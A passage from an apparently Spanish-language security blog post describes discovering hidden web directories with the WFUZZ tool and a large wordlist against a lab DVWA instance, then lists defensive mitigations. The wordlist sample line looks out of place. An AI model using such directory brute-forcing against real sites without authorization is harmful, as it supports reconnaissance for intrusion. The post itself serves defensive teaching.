Por ejemplo, tenemos un diccionario con 220.560 nombres de directorio, un ejemplo de una parte del diccionario sería el siguiente:

ping for free whoami
Le pasamos este diccionario a una herramienta que irá probando cada una de estas palabras detrás de la URL y nos indicará si existe el directorio o fichero. La consultará será de la siguiente forma: http://10.0.2.4/dvwa/palabra_del_diccionario.

Podemos ver como se han descubierto varios directorios o ficheros que pueden tener información sensible o acceso hasta una zona privada.

En el ejemplo hemos usado la herramienta WFUZZ, esta herramienta nos permite realizar el descubrimiento de ficheros o directorios ocultos (entre otras cosas) en la Web objetivo

Solución o mitigación ante las técnicas de reconocimiento Web

Hay distintas técnicas que podemos usar para ocultar la información que puede mostrar nuestra página Web, tanto del servidor que estemos usando como de las tecnologías que usamos para crearla. En los distintos gestores de contenidos también nos encontramos plugins o componentes que realizan esta función de ocultamiento.

Aunque tenemos que intentar mostrar la menor información posible, la única solución válida para evitar que nuestra web sea comprometida es tener todos los sistemas, servicios y componentes actualizados a la última versión. Si lo que tenemos es un CMS, no añadir ningún plugin que no sea completamente necesario, no instalar aquellos que no provengan de fuentes oficiales o que no tengan una política de actualizaciones frecuente. No importa si nuestro WordPress está actualizado a la última versión, si luego tenemos un plugin que no está actualizado y tiene alguna vulnerabilidad que pueda ser aprovechada.

También debemos asegurarnos que tanto la información privada como los accesos a paneles de información estén debidamente protegidos. Si es posible que los paneles de login para la administración de la Web no sean accesibles directamente.

Conclusión

Como hemos visto, existen varias técnicas de reconocimiento Web primero nos hemos centrado en las versiones tanto del servidor como de las tecnologías usadas para su desarrollo y posteriormente en recabar datos ocultos de la página. Todas estas técnicas son usadas por los atacantes en las fases previas de un ataque, la información recopilada aquí le será imprescindible para las fases posteriores del ataque y para conocer a la compañía.

En próximas publicaciones, veremos más ejemplos de técnicas en las que los atacantes utilizan vulnerabilidades en las paginas web a su favor y cómo protegernos de ellas.